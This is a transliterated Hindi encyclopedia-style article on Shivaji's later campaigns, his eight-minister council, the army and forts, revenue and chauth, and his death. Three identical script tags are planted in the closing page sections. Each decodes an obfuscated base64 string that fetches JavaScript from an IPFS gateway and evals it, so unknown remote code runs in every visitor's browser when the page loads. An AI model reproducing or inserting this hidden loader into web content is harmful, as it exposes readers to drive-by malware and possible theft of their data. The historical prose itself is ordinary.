rajyabhishek ke bad shivaji ka antim mahatvapoorn abhiyan 'karnatak ka abhiyan' (1676 ee.) tha. golakunda ke 'madanna' evan 'akanna' ke sahayog se shivaji ne bijapur aur karnatak par akraman karana chaha, parantu akraman ke poorv hi shivaji evan kutubashah ke bich sandhi sampann huee, jisaki shartean is prakar thian-

1. shivaji ko kutubashah ne prati varsh ek lakh hoon dena svikar kiya.
2. donoan ne karnatak ki sampatti ko apas mean baantane par sahamati jataee.

shivaji ne jianji evan vellor jaise mahatvapoorn kshetroan par qabza kar liya. jianji ko unhoanne apane rajy ki rajadhani banaya. shivaji ka sangharsh janjira tapoo ke adhipati abisiniyaee siddakiyoan se bhi hua. siddakiyoan par adhikar karane ke lie unhoanne nausena ka bhi nirman kiya tha, parantu vah purtagaliyoan se gova tatha siddakiyoan se chail aur janjira nahian chhin sake. siddaki pahale ahamadanagar ke adhipaty ko manate the, parantu 1638 ee. ke bad ve bijapur ki adhinata mean a ge. shivaji ke lie janjira ko jitana apane koankan pradesh ki raksha ke lie avashyak tha. 1669 ee. mean unhoanne dariya sarang ke netritv mean apane jal be de ko janjira par akraman karane ke lie bheja.

shivaji ka prashasan

senanayak ke roop mean shivaji ki mahanata nirvivad rahi hai. kiantu nagarik prashasak ke roop mean unaki kshamata aj bhi spasht roop se svikar nahian ki jati. yooropiy itihasakaroan mean drishti mean maratha prabhutv, jo loot par adharit tha, ko kisi bhi prakar ka kar lene ka adhikar nahian tha. kuchh any itihasakaroan ki manyata hai ki shivaji ke prashasan ke pichhe koee adharabhoot siddhaant nahian tha aur isi karan prashasan ke kshetr mean unaka koee sthayi yogadan nahian raha. shivaji ki prashasanik vyavastha kafi sima tak dakshini rajyoan aur mugaloan ki prashasanik vyavastha se prabhavit thi. shivaji ki mrityu ke samay unaka purtagaliyoan ke adhikar kshetr ke atirikt lagabhag samast (maratha) desh mean phaila hua tha. purtagaliyoan ka adhipaty uttar mean ramanagar se banbee zile mean gangavati nadi ke tat par karavar tak tha. shivaji ki poorvi sima uttar mean bagalana ko chhooti thi aur phir dakshin ki or nasik evan poona ziloan ke bich se hoti huee ek anishchit sima rekha ke sath samast satara aur kolhapur ke zile ke adhikaansh bhag ko apane mean samet leti thi. is sima ke bhitar ane vale kshetr ko hi mari abhilekhoan mean shivaji ka "svaraj" kaha gaya hai. pashchimi karnatak ke kshetr kuchh der bad sammilit hue. svaraj ka yah kshetr tin mukhy bhagoan mean vibhajit tha aur pratyek bhag ki dekhabhal ke lie ek vyakti ko niyukt kiya gaya tha-

• poona se lekar salhar tak ka kshetr koankan ka kshetr, jisamean uttari koankan bhi sammilit tha, peshava moropant piangale ke niyantran mean tha.
• uttari kanara tak dakshini koankan ka kshetr annaji dattoan ke adhin tha.
• dakshini desh ke zile, jinamean satara se lekar dharava d aur kophal ka kshetr tha, dakshini poorvi kshetr ke aantargat ate the aur dattaji pant ke niyantran mean the. in tin sooboan ko punah paraganoan aur talukoan mean vibhajit kiya gaya tha. paraganoan ke aantargat taraf aur mauje ate the. hal hi mean jite ge ashani, jinji, bailor, ansi evan any zile, jinhean samayabhav ke karan prashasanik vyavastha ke aantargat nahian laya ja saka tha, adhigrahan sena ki dekharekh mean the.

[[chitr:Chhatrapati-Shivaji-Terminus.jpg|thumb|250px|chhatrapati shivaji tarminas, muanbee]] keandr mean ath mantriyoan ki parishadh hoti thi jise asht pradhan kahate the jise kisi bhi arth mean mantrimadal nahian kaha ja sakata tha. shivaji apane pradhanamantri svayan the aur prashasan ki bagador apane hi hathoan mean rakhate the. asht pradhan keval unake sachivoan ke roop mean kary karate the; ve n to age badhakar koee kary kar sakate the aur n hi niti nirdharan kar sakate the. unaka kary shuddh roop se salahakar ka tha. jab kabhi unaki ichchha hoti to ve unaki salah par dhyan dete bhi the anyatha samanyatah unaka kary shivaji ke nirdashoan ka palan karana aur unake apane vibhagoan ki nigarani karana matr hota tha. sanbhav hai ki shivaji paurohity evan lekha vibhagoan ke kam-kaj mean dakhal n dete hoan kiantu isaka karan unaki prashasanik anubhavahinata hi rahi hogi. peshava ka kary lok hit ka dhyan rakhana tha. pant amaty, ay-vyay ki lekha pariksha karata tha. mantri ya vakanis ya vivaranakar raja ka rozanamacha rakhata tha. sumant ya videsh sachiv videshi mamaloan ki dekhabhal karata tha. pant sachiv par raja ke patrachar ka dayitv tha. panditarav, vidvanoan aur dharmik karyoan ke lie die jane vale anudanoan ka dayitv nibhata tha. senapati evan nyayadhish apana-apana kary karate the. ve kramashah sena evan nyay vibhag ke karyoan ki dekhate the.

sena

shivaji ne apani ek sthayi sena banaee thi aur varshakal ke dauran sainikoan ko vahaan rahane ka sthan bhi upalabdh karaya jata raha tha. shivaji ki mrityu ke samay unaki sena mean 30-40 hazar niyamit aur sthayi roop se niyukt ghu dasavar, ek lakh padati aur 1260 hathi the. unake topakhanoan ke sanbandh mean thik-thik janakari upalabdh nahian hai. kiantu itana jnat hai ki unhoanne soorat aur any sthanoan par akraman karate samay topakhane ka upayog kiya tha. nagarik prashasan ki bhaanti hi sainy-prashasan mean bhi samuchit sanstar bane hue the. ghu dasavar sena do shreniyoan mean vibhajit thi-

• baragir v ghu dasavar sainik the jinhean rajy ki or se gho de aur shastr die jate the
• silhadar jinhean vyavastha ap karani p dati thi.

[[chitr:Pratapgarh-Fort.jpg|pratapagadh qila, maharashtr|250px|thumb|left]] ghu dasavar sena ki sabase chhoti ikaee mean 25 javan hote the, jinake oopar ek havaladar hota tha. paanch havaladaroan ka ek jumala hota tha. jisake oopar ek jumaladar hota tha; das jumaladaroan ki ek hazari hoti thi aur paanch hazariyo ke oopar ek panjahazari hota tha. vah saranobat ke aantargat ata tha. pratyek 25 tuk diyoan ke lie rajy ki or se ek navik aur bhishti diya jata tha. maratha sainy vyavastha ke vishisht lakshan the qile. vivaranakaroan ke anusar shivaji ke pas 250 qile the. jinaki marammat par ve b di raqam kharch karate the. pratyek qile ko tihare niyantran mean rakha jata tha jisamean ek brahman, ek mara, ek kunadhi hota tha. brahman nagarik aur rajasv prashasan dekhata tha, shesh do sainy sanchalan aur rasad ke pahaluoan ko dekhate the. yah am dharana hai ki shivaji ke sainikoan ko vetan nagad diya jata tha. kiantu us samay ki paristhitiyoan aur kshetr ki samany sthiti ko dekhate hue yah vyavastha bhi ek adarsh thi jise shivaji sakar karana chahate the. sipahiyoan, havaladaroan ityadi ka vetan ya to khajane se diya jata tha ya gramin kshetroan ki barat (ajna) dvara jinaka bhugatan karakoon karate the. kiantu nishchit raqam ke lie bhoomi ya gaanv dene ki pahale se chali a rahi pratha ko bhi poornatah samapt nahian kiya gaya tha.

svatantr prabhusatta

1674 ki grishm rritu mean shivaji ne dhoomadham se sianhasan par baithakar svatantr prabhusatta ki nianv rakhi. dabi-kuchali hindoo janata ne saharsh unhean neta svikar kar liya. apane ath mantriyoan ki parishad ke zariye unhoanne chhah varsh tak shasan kiya. vah ek dharmanishth hindoo the. jo apani dharmarakshak bhoomika par garv karate the. lekin unhoanne zabaradasti musalaman banae ge apane do rishtedaroan ko hindoo dharm mean vapas lene ka adesh dekar paranpara to di. halaanki eesaee aur musalaman bal prayog ke zariye bahusankhy janata par apana mat thopate the. shivaji ne in donoan sanpradayoan ke aradhana sthaloan ki raksha ki. unaki seva mean kee musalaman bhi shamil the. unake sianhasan par baithane ke bad sabase ullekhaniy abhiyan dakshin bharat ka raha, jisamean musalamanoan ke sath kootanitik samajhauta kar unhoanne mugaloan ko samooche upamahadvip mean satta sthapit karane se rok diya.

rajasv prashasan

shivaji ne bhoo-rajasv evan prashasan ke kshetr mean anek qadam uthae. is kshetr ki vyavastha pahale bahut achchhi nahian thian kyoanki yah pahale kabhi kisi rajy ka abhinn aang nahian raha tha. bijapur ke sultan, mugal aur yahaan tak ki svayan maratha saradar bhi atirikt utpadan ko ek sath hi lete the jo ijaredari ya rajasv krishi ki kukhyat pratha jaisi hi vyavastha thi. malik ambar ki rajasv vyavastha mean shivaji ko adarsh vyavastha dikhaee di kiantu unhoanne usaka aandhanukaran nahian kiya. malik ambar to map ki ikaiyoan ka manakikaran karane mean asaphal raha tha kiantu shivaji ne ek sahi manak ikaee sthir kar di thi. unhareanne rassi ke map ke sthan par kathi aur manak chh di ka prayog aranbh karavaya. bis chh diyoan ka ek bigha hota hai aur 120 bighe ka ek chavar chavar hota tha. [[chitr:Fort-Raigarh-Maharashtra.jpg|thumb|250px|rayagadh qila, maharashtr|left]] shivaji ke nideshanusar sanh 1679 ee. mean annaji dattoan ne ek vistrit bhoo-sarvekshan karavaya jisake parinamasvaroop ek naya rajasv nirdharan hua. agale hi varsh shivaji ki mrityu ho gee, isase yah tark nirarthak jan p data hai ki unhoanne bhoorasv vibhag se bichauliyoan ka astitv samapt kar diya tha aur rajasv unake adhikari hi ekatr karate the. kul upaj ka 33% rajasv ke roop mean liya jata tha jise bad mean badhakar 40% kar diya gaya tha. rajasv nagad ya vastu ke roop mean chukaya ja sakata tha. krishakoan ko niyamit roop se bij aur pashu kharidane ke lie rrin diya jata tha jise do ya char varshik kishtoan mean vasool kiya jata tha. akal ya fasal kharab hone ki apat sthiti mean udaratapoorvak anudan evan sahayata pradan ki jati thi. ne ilaqe basane ko protsahan dene ke lie kisanoan ko laganamukt bhoomi pradan ki jati thi.

yadyapi nishchit roop se yah kahana kathin hai ki shivaji ne zamidari pratha ko samapt kar diya tha. phir bhi unake dvara bhoomi evan upaj ke sarvekshan aur bhoosvami bichauliyoan ki svatantr gatividhiyoan par niyantran lagae jane se aisi sanbhavana ke sanket milate haian. unhoanne bar-bar kie jane vale bhoo-hastaantaran par pratibandh lagane ka prayas bhi kiya yadyapi ise poori tarah samapt karana unake lie sanbhav nahian tha. is sabako dekhate hue kaha ja sakata hai ki is nee vyavastha se kisan prasann hue hoange aur unhoanne isaka svagat kiya hoga kyoanki bijapuri sultanoan ke atyachari maratha deshamukhoan ki vyavastha ki tulana mean yah bahut achchhi thi. shivaji ke shasan kal mean rajy ki ay ke do aur srot the-saradeshamukhi aur chauth. unaka kahana tha ki desh ke vanshanugat (aur sabase b de bhi) hone ke nate aur logoan ke hitoan ki raksha karane ke badale unhean saradeshamukhi lene ka adhikar hai. chauth ke sanbandh mean itihasakar ek mat nahian haian. [[chitr:Shivaji-Statue.jpg|thumb|chhatrapati shivaji ki pratima, rayagadh|250px]] ranade ke anusar yah 'sena ke lie diya jane vala aanshamatr nahian tha jisamean koee naitik aur qanooni badhyata n hoti, apitu bahy shakti ke akraman se suraksha pradan karane ke badale liya jane vala kar tha.' saradesaee ise 'shatruta rakhane vale athava vijit kshetroan se vasool kiya jane vala kar manate haian.' jadunath sarakar ke anusar 'yah maratha akraman se bachane ki evaz mean vasoole jane vale shulk se adhik kuchh nahian tha. atah ise ek prakar ka bhayadohan (dabavapoorvak aianthana) hi kaha jana chahie.' yah kahana bhi anuchit n hoga ki dakshin ke sultanoan aur mugaloan ne marathoan ko apane ilaqoan se ye donoan kar vasool karane ka adhikar diya tha jisane is udiyaman rajy ko b di sima tak vaidhata pradan ki thi. maratha rajy ke sanbandh mean satishachandr ke is kathan se sahamat hua ja sakata hai ki 'maratha rajy ke adhyayan se jnat hota hai ki maratha aandolan, jo mugal samrajy ke keandrikaran ke viruddh kshetriy pratikriya ke roop mean aranbh hua tha, ki parinati shivaji dvara dakshin-mugal prashasanik vyavastha ke moolabhoot siddhaantoan ko apanae jane mean huee."

antim samay

shivaji ki kee patniyaan aur do bete the, unake jivan ke aantim varsh unake jyeshth putr ki dharmavimukhata ke karan pareshaniyoan mean bite. unaka yah putr ek bar mugaloan se bhi ja mila tha aur use b di mushkil se vapas laya gaya tha. gharelu jhag doan aur apane mantriyoan ke apasi vaimanasy ke bich samrajy ki shatruoan se raksha ki chianta ne shighr hi shivaji ko mrityu ke kagar par pahuancha diya. [[chitr:Chatrapati-Shivaj-1.jpg|thumb|250px|left|chhatrapati shivaji ki pratima, maharashtr]] maikale dvara 'shivaji mahan' kahe jane vale shivaji ki 1680 mean kuchh samay bimar rahane ke bad apani rajadhani paha di durg rajagadh mean 3 aprail ko mrityu ho gee.

upasanhar

is prakar mugaloan, bijapur ke sultan, gova ke purtagaliyoan aur janjira sthit abisiniya ke samudri dakuoan ke prabal pratirodh ke bavajood unhoanne dakshin mean ek svatantr hindoo rajy ki sthapana ki. dharmik akramakata ke yug mean vah lagabhag akele hi dharmik sahishnuta ke samarthak bane rahe. unaka rajy belagaanv se lekar tuangabhadra nadi ke tat tak samast pashchimi karnatak mean vistrit tha. is prakar shivaji ek sadharan jagiradar ke upekshit putr ki sthiti se apane purusharth dvara ऎse svadhin rajy ke shasak bane, jisaka nirman svayan unhoanne hi kiya tha. unhoanne use ek sugathit shasan-pranali evan sainy-sangathan dvara sudridh karake jan sadharan ka bhi vishvas prapt kiya. jis svatantrata ki bhavana se ve svayan prerit hue the, use unhoanne apane deshavasiyoan ke hriday mean bhi is prakar prajvalit kar diya ki unake maranoanparant aurangazeb dvara unake putr ka vadh kar dene, pautr ko karagar mean dal dene tatha samast desh ko apani sainy shakti dvara rauand dalane par bhi ve apani svatantrata banaye rakhane mean samarth ho sake. usi se bhavishy mean vishal maratha samrajy ki sthapana huee. shivaji yatharth mean ek vyavaharik adarshavadi the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• chhatrapati shivaji maharaj
• Chhatrapati Shivaji
• Chhatrapati Shivaji Maharaj

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>